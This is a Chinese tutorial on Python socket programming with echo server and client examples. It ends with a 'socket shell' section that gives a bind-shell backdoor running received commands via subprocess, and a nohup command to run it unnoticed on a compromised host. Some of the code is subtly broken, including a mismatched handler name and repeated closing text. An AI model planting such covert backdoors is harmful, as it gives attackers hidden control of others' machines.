socket 網絡編程
之前在編寫四層發現的代碼時都是使用TCP/UDP協議, 但是看了很多的代碼都是用socket來完成的,所以就 來學習一下socket
什麼是socket
網絡中的兩臺主機之間進行通信,本質上是主機中所 運行的進程之間的通信,兩個進程如果需要進行通信 ,最基本的前提是每一個進程要有一個唯一的標識。
在本地進程通信中可以使用PID來唯一標識一個程, 但PID在 本地是唯一,可以用 "IP地+ 協議+端口號" 來組成唯一標識的網絡進程,這就是socket
無論使用何種網絡協議,最本質上都是在進行數據 的收發,發和收,這兩個動作就是socket處理數據 的主要方式
socket的工作流程
- socket 採用C/S 模式,分爲服務端和客戶端
- 服務端數據處理流程
- 創建socket -> 綁定到地址和端口 -> 等待連接 -> 開始通信-> 關閉連接
- 客戶端數據處理流程
- 創建socket -> 等待連接 -> 開始通信-> 關閉連接
- 客戶端沒有綁定地址和端口,是由於客戶端進程採用的是隨機端口,當客戶端要去連接目標時,會由系統自定分配一個端口號和自身ip地址去組合
python3 socket服務端程序
# !/usr/bin/python3
# !coding:utf-8
import socket
from threading import Thread
def server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", 5432)) # ip地址和端口要求以元組的形式傳遞,所以這裏是兩對括號
s.listen(5)
while True: # 一直被動等待連接,除非手動關閉,否則程序一直是運行的狀態
try:
client, addr = s.accept() # client 是爲連接過來的客戶端創建的對象
# addr則是存放了客戶端連接過來的ip和端口
print("connected by", addr)
t = Thread(target=Client_Handle, args=(client,))
t.start() # 多線程接收多個客戶端的信息
except KeyboardInterrupt:
break
def client_handle(client):
while True:
result = client.recv(1024).strip()
if not result: # 當客戶端斷開連接後,服務端會一直接收到空的內容
continue # 因而也要進行處理,收到空的內容就斷開連接
result = result.decode("utf-8") # 以指定的編碼格式解碼 bytes 對象
if result == "exit": # 如果客戶端發來的是exit那將斷開連接
break
print(result)
client.sendall(result.encode("utf-8"))
# encode()方法是將str字符串指定的編碼格式
# 不停的把客戶端發送的數據返回
client.close()
if __name__ == "__main__":
server()
socket類的參數
socket.AF_INET表示socket使用ipv4地址進行主機之間 的通信, socket.SOCK_STREAM表示使用TCP協議
AF表示 address family 地址族,除了AF_IINET之 外,還可以使用AF_INET6表示ipv6地址,用AF_UNIX 表示單一的unix系統進程通信
tcp用SOCK_STREAM表示,udp用SOCK_DGRAM表示 tcp在發送數據時會將數據進行拆分,數據就像流水一 樣進行傳輸,因爲稱爲stream
udp時將數據整體發送,因爲稱爲datagram 簡稱DGRAN
如果服務端和客戶端採用UDP進行通訊,代碼爲: * s = socket.socket(socket.AF_INET,socket.SOCK_DRAM) * socket.socket()不填的話默認兩個參數爲socket.AF_INET,socket.SOCK_STEAM
代碼解析
- s.bind(("",6000))
- 將socket綁定到ip和端口,如(“192.168.1.1”,6000,) ,ip部分爲空則表示採用本地地址
- 需要注意一點時s.bind()在AF_INET模式下要求以元組的方式表示ip和端口,,所以必須是有兩對括號的,少了就報錯
- s.listen(1)
- 開始監聽tcp傳入連接,1是指服務端允許的客戶端最大連接數,該值最少爲1,大部分應用程序設置爲5即可
- client,addr = s.accept()
- s.accept()接受tcp連接並返回(conn,address)其中conn是新的套接字對象,可以用來收發數據,addresss是連接客戶端的地址
- 由於s.accept()會接收兩個數據,因而這裏賦值給兩個變量client和addr
- client.send()
- 向連接上來的客戶端發送數據,服務端與客戶端之間不能發送列表,字典,元組只能發送字符串。
- 發送數據還有sendall()方法,tcp協議有時可能要把發送的數據先緩存,等一段時間再發送,send方法不一定會立即發送數據,而sendall()方法可以立即發送
- encode()是可以將String類型的數據轉化成字節類型的,不進行這步操作,python3會發送失敗(python2 socket則不用進行這步操作),而deconde則是對數據以指定的編碼方式解碼,默認編碼格式UTF-8
- text = client.recv(1024)
- 接收tcp套接字的數據,數據以字符串的方式返回,1024爲指定接收的最大數據量
- setsockopt(socket.SOL_SOCKET,SO_REUSEADDR,1)
- 加入socker配置,重用ip和端口
- setsockopt(level,optname,value)接收三個參數,第一個參數socket是套接字描述符。第二個參數level是被設置的選項的級別,第三個參數是設置第二個參數的值
- socket.SOL_SOCKET,如果想要在套接字級別上設置選項,就必須把level設置爲 SOL_SOCKET
- SO_REUSEADDR,打開或關閉地址複用功能。當option_value不等於0時,打開,否則,關閉。
客戶端腳本
#! coding:utf-8
import socket
def py2_client():
"""python2 socket client"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.102", 6000))
while True:
text = raw_input("Plase input:").strip() # raw_input 將用戶的輸入轉化成字符串(該函數以在python3取消)
if len(text) == 0: # 避免用戶輸入空格後程序卡死
continue
s.send(text)
result = s.recv(1024)
print result
if result == "exit":
break
s.close()
def py3_client():
"""python3 socket client"""
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect(("192.168.3.102", 6000))
while True:
text = input("Plase input:").strip()
if len(text) == 0: # 避免用戶輸入空格後程序卡死
continue
c.sendall(text.encode("utf-8"))
# encode()可以將String類型的數據轉化成字節類型
if text == "exit":
break
response = c.recv(1024)
print(response.decode("utf-8")) # 將接收自服務端的數據以utf-8編碼方式解碼
c.close()
if __name__ == '__main__':
# py2_client() # 執行py2需要將解釋器設置爲python2.7
py3_client() # 執行py3需要將解釋器設置爲python3.7
- 服務端上用了while循環讓連接一直是打開的除被動等待連接
- 而客戶端則是對用戶的輸入做了過濾,且加入了while循環可以無限輸出內容
socket shell
進入到目標主機之後就可以自己編寫socket 連接反 shell回來,且是在後臺進行的不留意的話可能還發現不了
這一功能的實現是靠subprocess模塊實現的,將客戶端 的輸入當作命令去執行,並返回執行結果
- subprocess.check_output(cmd,shell=True) ,check_output開啓一個子進程用shell在後臺執行命令,並返回結果,
- python2 socket 建立的shell比python3 建立的效果較好,python3 socket收發信息需要將字符進行加解碼,導致排序很亂。所以下面的socket shell 使用python2 編寫的。
服務器運行腳本
#!/usr/bin/python2.7
# !coding:utf-8
import socket
from threading import Thread
import subprocess
def server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 3000))
s.listen(5)
while True:
try:
client, addr = s.accept()
print
"connected by", addr
t = Thread(target=client_handle, args=(client,))
t.start()
except KeyboardInterrupt:
break
def client_handle(client):
while True:
cmd = client.recv(1024).strip()
if not cmd:
break # 將客戶端的輸入當作命令執行,執行結束後返回結果
result = subprocess.check_output(cmd, shell=True)
client.sendall(result) # 向客戶端返回執行結果
if result == "exit":
break
client.close()
if __name__ == "__main__":
server()
運行socke shell
nohup python py2_server_shell.py > nohub.out 2>&1 &
- 使用&命令時,關閉當前控制檯窗口或退出當前帳戶時,作業就會停止運行。
nohup命令則可以在退出帳戶或關閉窗口後繼續運行進程。
nohup即no hang up[不掛起]。- 將所有的輸出都重定向到nohub.out文件中
- 2>&1 也就表示將錯誤重定向到標準輸出上
- 上面這行命令會將腳本在後臺運行且將所有輸出都重定向了,如果不留意進程是很難發現了開後門了的。
客戶端正常連接來即可,不用單獨寫腳本。客戶端發送的所有內容到服務端都會當作命令去執行
nohup命令則可以在退出帳戶或關閉窗口後繼續運行進程。 nohup即no hang up[不掛起]。
- 將所有的輸出都重定向到nohub.out文件中
- 2>&1 也就表示將錯誤重定向到標準輸出上
- 上面這行命令會將腳本在後臺運行且將所有輸出都重定向了,如果不留意進程是很難發現了開後門了的。
客戶端正常連接來即可,不用單獨寫腳本。客戶端發送的所有內容到服務端都會當作命令去執行